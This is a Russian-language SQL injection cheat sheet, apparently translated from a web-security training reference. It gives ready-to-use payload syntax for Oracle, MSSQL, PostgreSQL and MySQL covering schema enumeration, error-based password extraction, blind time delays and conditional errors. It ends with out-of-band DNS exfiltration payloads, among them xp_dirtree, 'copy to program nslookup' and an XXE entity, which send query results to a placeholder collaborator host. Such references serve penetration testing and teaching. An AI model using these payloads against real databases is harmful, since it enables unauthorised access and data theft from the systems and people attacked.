SQL Injection cheat sheet

Эта шпаргалка по SQL Injection содержит примеры полезного синтаксиса, который можно использовать для выполнения различных задач, часто возникающих при проведении атак SQL Injection.

Конкатенация строк

Вы можете объединять несколько строк в одну.

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Обратите внимание на пробел между двумя строками] CONCAT('foo','bar')

Подстрока

Вы можете извлечь часть строки, начиная с указанного смещения и с указанной длиной. Обратите внимание, что индексация смещения начинается с 1. Каждый из следующих выражений вернёт строку ba.

Oracle

SUBSTR('foobar', 4, 2)

Microsoft

SUBSTRING('foobar', 4, 2)

PostgreSQL

SUBSTRING('foobar', 4, 2)

MySQL

SUBSTRING('foobar', 4, 2)

Комментарии

Вы можете использовать комментарии, чтобы обрезать запрос и убрать часть исходного запроса, следующую за вашим вводом.

Oracle

--comment

Microsoft

--comment /*comment*/

PostgreSQL

--comment /*comment*/

MySQL

#comment-- comment [Обратите внимание на пробел после двух дефисов] /comment/

Версия базы данных

Вы можете выполнить запрос к базе данных, чтобы определить её тип и версию. Эта информация полезна при составлении более сложных атак.

Oracle

SELECT banner FROM v$version SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

Содержимое базы данных

Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые содержатся в этих таблицах.

Oracle

SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Условные ошибки

Вы можете проверить одно булево условие и вызвать ошибку базы данных, если условие истинно.

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Извлечение данных через видимые сообщения об ошибках

Вы потенциально можете спровоцировать сообщения об ошибках, которые раскрывают чувствительные данные, возвращаемые вашим вредоносным запросом.

Microsoft

SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.

PostgreSQL

SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"

MySQL

SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'

Пакетные (или составные) запросы

Вы можете использовать пакетные запросы, чтобы выполнить несколько запросов подряд. Обратите внимание, что хотя последующие запросы выполняются, результаты не возвращаются в приложение. Поэтому эта техника в основном полезна для Blind SQL Injection, где вы можете использовать второй запрос, чтобы инициировать DNS-запрос, условную ошибку или задержку по времени.

Oracle

Does not support batched queries.

Microsoft

QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE

PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

MySQL

QUERY-1-HERE; QUERY-2-HERE

Note

В MySQL пакетные запросы обычно нельзя использовать для SQL-инъекции. Однако это изредка возможно, если целевое приложение использует определённые API на PHP или Python для связи с базой данных MySQL.

Задержки по времени

Вы можете вызвать задержку в работе базы данных при обработке запроса. Следующие примеры вызовут безусловную задержку в 10 секунд.

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Условные задержки по времени

Вы можете проверить одно булево условие и вызвать задержку по времени, если условие истинно.

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS-запрос

Вы можете заставить базу данных выполнить DNS-запрос к внешнему домену. Для этого вам нужно использовать Burp Collaborator, чтобы сгенерировать уникальный поддомен Burp Collaborator, который вы будете использовать в своей атаке, а затем опрашивать сервер Collaborator, чтобы подтвердить, что DNS-запрос произошёл.

Oracle

Уязвимость (XXE) для инициирования DNS-запроса. Уязвимость была исправлена, но существует множество не обновлённых установок Oracle: SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual Следующий приём работает на полностью обновлённых установках Oracle, но требует повышенных привилегий: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL

Следующие приёмы работают только в Windows:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS-запрос с эксфильтрацией данных

Вы можете заставить базу данных выполнить DNS-запрос к внешнему домену, содержащему результаты внедренного запроса. Для этого вам нужно использовать Burp Collaborator, чтобы сгенерировать уникальный поддомен Burp Collaborator, который вы будете использовать в своей атаке, а затем опрашивать сервер Collaborator, чтобы получить сведения о любых DNS-взаимодействиях, включая эксфильтрованные данные.

Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'|(SELECT YOUR-QUERY-HERE)|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

PostgreSQL

create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '|p|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();

MySQL

Следующий приём работает только в Windows:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Last updated